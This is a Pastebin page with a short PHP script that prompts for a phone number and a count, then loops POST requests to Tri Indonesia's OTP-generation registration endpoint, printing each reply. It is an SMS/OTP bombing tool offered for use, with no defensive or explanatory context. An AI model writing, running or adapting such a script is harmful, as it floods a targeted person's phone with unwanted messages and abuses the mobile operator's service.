Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $url = "https://registrasi.tri.co.id/daftar/generateOTP";
- echo "Nomor : ";
- $nomor = trim(fgets(STDIN, 1024));
- echo "Limit : ";
- $limit = trim(fgets(STDIN, 1024));
- $payload = array("msisdn" => $nomor);
- echo "\n";
- $options = array(
- 'http' => array(
- 'header' => "Content-type: application/x-www-form-urlencoded\r\n",
- 'method' => 'POST',
- 'content' => http_build_query($payload)
- )
- );
- for ($i=1; $i<=$limit; $i++){
- $context = stream_context_create($options);
- $result = file_get_contents($url, false, $context);
- echo "[+] Status -> ".$result."\n";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement